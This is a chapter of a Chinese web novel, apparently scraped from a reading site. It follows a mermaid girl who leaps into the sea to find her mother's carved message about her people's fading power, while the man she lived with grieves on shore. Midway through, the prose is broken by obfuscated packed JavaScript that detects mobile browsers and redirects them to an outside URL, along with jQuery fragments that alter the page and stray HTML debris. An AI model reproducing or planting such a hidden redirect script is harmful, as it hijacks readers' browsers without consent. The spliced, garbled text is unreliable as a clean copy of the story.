可笑。
裴京澄觉得鱼皎真疯了。
之前没看出来,应该是蠢大于疯,乱七八糟说一通,最后还能编出个人鱼来糊弄自己。
“你先过来。”裴京澄极力抑制情绪。
“不。”鱼皎一步步向后退,语气决然,“你不信我,没关系。”
她一点点向后退,与崖边缘的距离不断缩小。
裴京澄下意识想把她拉回来,可他脚步一动,她退的就越快,眨眼间,她已经站在边缘。
裴京澄生生止住脚步,只是神情再也维持不住冷静,“鱼皎!这件事情没有严重到那个地步,你不说,我也不会再逼问你,你回来,我们继续什么也不知道的过。”
他的语气沾上狼狈的恳求。
鱼皎偏头,再退后一点点,就是她最熟悉的地方,是她的家。
“裴京澄,我可能需要离开一段时间。”鱼皎直视他的眼睛,认认真真道。
她需要去把那些东西重新带回去,还需要去寻找妈妈口中的答案。
“鱼皎……”他喊出口,可惜已经来不及,“不要冲动。”
“裴京澄,我会回来的,如果到时候你愿意接受我是个异种。”鱼皎发梢被光打下一圈,丝丝缕缕流转金辉,最后连身形的线条轮廓都朦胧。
她的最后一眼平静无波,不舍的情绪就像水滴砸入湖面泛起波澜,她是定要回去一趟的。
“鱼皎——”
她的身影坠下,裴京澄疾步上前,对于危险身体本能的急刹车。
裴京澄目眦欲裂,心脏更是仿佛要从食道涌上吐出来,只需那短短几秒,背后就已经被冷汗浸湿。
他像鹰捕猎似的把那一片海面都仔仔细细的寻找,根本没有鱼皎的身影,就好像凭空消失。
那片蔚蓝汹涌的海面,成了一道隔绝的网。
不对,不对,现在要报警,要找人。
裴京澄手指冰凉,发麻发软的掏出手机,还没来得及解锁,海面有了异样。
那是一对巨型章鱼,通体暗橙,它们怪异的抱在一起,然后像活人一样精准捕捉裴京澄的方向,然后竖起一根触手,人性化的左右摇晃。
一人两章鱼遥遥相望,裴京澄脑海瞬间蹦出一个词——再见。
那两只章鱼凝望他许久,过会才咻的一下重新钻回海里。
那是一种无法言说的惊撼,冲击着他的认知。
等他冷静下来,才觉得处处诡异。
正常人在水里,不管是自愿还是被迫,脑干延髓反射中枢都会依从本能进行挣扎,而不是像鱼皎这样悄无声息。
如果鱼皎说的是真的……
彼时鱼皎已经先一步找到了那堆瓷瓶的位置,它们四周都围上好些海洋生物。
章鱼用身子堵在瓶口,四肢攀住,像守卫的骑士等待主人的到来。
鱼皎微微眯起眼睛,漆黑的四周刹那间出现许多星星点点,那是一群灯眼鱼,给她铺设了一条明确方向的路。
鱼皎不是没做好自己逐渐失去人鱼能力的心理建设,但真正体会到的时候,她还是忍不住的害怕颤抖。
她的视力居然已经丧失到这种程度,这在鱼群里和瞎子有什么区别。
那些海洋生物似有所感她的不安,纷纷绕着鱼皎,突然有一个拳头大小的橙色生物掉落在鱼皎怀中。
小飞象章鱼黏糊糊的贴在鱼皎身上,几根触手害羞的蜷缩,身体果冻似的软。
这是它们安慰鱼皎叼来的,它温顺又可爱,如果用陆地的词来形容就是小猫小狗的存在。
鱼皎空荡荡的心脏有被它们无声的安慰填补一角。
只需要鱼皎一个想法,它们便会乖巧的不像话去配合。
一群八爪鱼灵活的缠上瓶子,卷在大鱼身上搭顺风车。
不过,有几个八爪鱼鬼鬼祟祟的从那些天然形成的洞窟中钻出,它们拖着一具人形白骨,潜水服套在身上也是空荡荡的。
鱼皎看清后瞪大了眼睛,怎么还把里面溺亡的潜水员给带出来了!
好吧,反正带都带出来了,就放到人类能发现的地方去吧……裴京澄应该能猜到有她的手笔吧。
一串发光的鱼群就像银河里点缀的群星,飘逸的像丝带一样蔓延向前。
鱼皎偷个懒,坐在大鱼身上,极其缓慢地往下游去。
她越靠近底下,寒意便加深几分,此刻她宛若泡在冰水中,视力明显也不如曾经,她的呼吸频率逐渐加快……
“你就回来去……妈妈在那里留了字,或许你会想知道事情缘由。”
妈妈,我没听清你说的那个地方是哪里。
鱼皎无声崩溃,抓耳挠腮。
无奈之下,鱼皎决定绕一圈。
她先去到一块巨大的光滑的石板上,这里曾经是族群最热闹的地方,族群关键大会都是在这里召开。
可惜她把石板每一处都仔细查看,没有任何文字。
鱼皎不气馁,忽而想到一个地方,那是一个特别隐秘的洞窟,洞口还被一个巨大的龟壳遮掩了大半。
这个地方算是鱼皎的秘密基地,只有亲近的人才会知道。
后来鱼皎淘到点什么喜欢的玩意就往里面藏,后来嫌不够安全,大费周章找来一个大龟壳,往门口一塞成了门。
妈妈是知道这个地方的,不排除会在这里面。
思绪收,鱼皎就看见两个大章鱼一左一右扒在旁边,几根触手没耗多大力,就撬开了龟壳。
灯眼鱼一溜烟而上,挂在两侧的壁上,仿若电灯泡照亮。
洞里不大不小,却也装了一个小山高的东西,净是些奇形怪状的贝壳海螺还有沉船上稀奇古怪的玩意。
鱼皎被这些东西勾的怀念起来旧时的日子,往前走两步,脚下又感觉到踩到什么东西。
低头一看,鱼皎有一瞬的愣怔,那是一个黑乎乎带着一圈又一圈白色螺纹的海螺壳,尾部还畸形的勾起,鱼皎不得不承认再次看到它还是又被丑了一大跳!
这玩意怎么会进她的宝库!还不是那条鱼!她的小叔叔,鱼仅仅!
小叔叔就喜欢这些丑东西,特别是还知道她不喜欢,就偷偷往这里藏。
鱼皎还未有动作,身上的小飞象章鱼就自己跳下,把那个丑贝壳扛着要往洞外走,特别像努力讨好领导的员工。
“哎!”
鱼皎手比脑子快,那丑贝壳又被捞回来。
怎么说也是关于小叔叔的……不可否认,这丑贝壳确实让她又想起了小叔叔,在没找到小叔叔前,就先让这个贝壳代替他。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526460|203529||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
这里角角落落翻个干净,也没找到妈妈遗留下的字迹。
鱼皎叹气,胸腔愈发沉闷,好像一个天平不断被填上砝码,让她感到不太舒服。
她难以久留,马不停蹄开始绕着熟悉的地方寻找。
最后一处,是在发现瓷瓶和珍珠的那艘沉船上。
灯眼鱼们贴在一面光滑且较为平整的石面上,照出上面深深的划痕,整齐排列织成一面,仿若某种古老巨大的符文。
鱼皎只一眼就认出了那是妈妈留下的,能做到如此的,只有他们人鱼独特尖锐的指甲。
不过,划痕在石面深深打下烙印,能坚持到几十年难朽的程度,只怕是用了能让指甲断裂的力气…
她来这里待过这么多次,从未光临到前方不远处的地盘,居然硬是错过了这么重要的信息!
灯眼鱼贴着一个一个字缓慢移动,鱼皎逐一看清上面的内容:人鱼是千年前海神给予的恩赐,是海神血脉的分支。诸神大战,海神陨,神力消散于海的每一处,庇佑祂最后的子民。人鱼能成为海洋里食物链顶端离不开海神的力量,他们与海神一荣俱荣、一损俱损,当最后的神力日渐式微,独属于人鱼的特殊性也在悄无声息的被抹除……
所以去到大陆上,是他们族群的最后的退路。
鱼皎胸口发闷,眼睛也酸涩的不行,大家都上岸了,那该怎么联系,怎么找到大家。
偌大的海里,幽深无边,就只剩下她一个还尚存能力的人鱼么?
……
裴京澄不知道自己是怎么驾车回到家里,麻木机械的掏出钥匙,好几分钟都没对上眼,他才发现自己的手在颤抖。
他颓然的靠在一旁,脸上血色全无,谁敢想刚刚他经历了什么魔幻。
好不容易缓和情绪打开门,裴京澄一眼就能看到沙发上鱼皎常盖的小薄毯,她的透明水晶杯、浅蓝色拖鞋、沙发上的兔子靠枕……好像四面八方都有她浅浅的影子,是剪不断的小尾巴。
又一次,裴京澄又一次感受到这种扭曲且巨大的空虚,是失去后的心悸。
裴京澄整个高大身躯陷进沙发里,僵直麻木,面容冷峻。
“我会回来的…”她说出这句话的时候能不能给个准信,他不介意她是谁,是任何人、任何生物,她是世界上找不出第二片相同叶子的独一份。
泪水冷不伶仃的洇湿大腿上的裤子,裴京澄恍然,自己对鱼皎的心思已经不再单纯。
或许在他破天荒同意她住进来后,也许是在更早前,开门的那瞬间,他死气沉沉的心弦就被几不可查地拨动了。
下午,周樾给他打了一通电话,说考古队的人到了,还有媒体跟过来,他们几个怕搞不定,要叫裴京澄来。
裴京澄应下,草草洗了把脸就出门。
上车前路过两老头,嗓门洪亮:“哎,你家那边那事够邪门啊。”
“我都不敢多凑热闹,怕沾上这邪气,刘家那两兄弟溺亡那时搜救队都说打捞难度太大,那洞穴弯弯绕绕、四通八达的,今儿居然莫名其妙一对都送上来了,你说奇不奇怪。”
“那刘老母半个小时前就被叫去认尸呢,哭天喊地的,说还以为这辈子都见不到儿子尸体了呢。”
“……够渗人的,最近别去那地了。”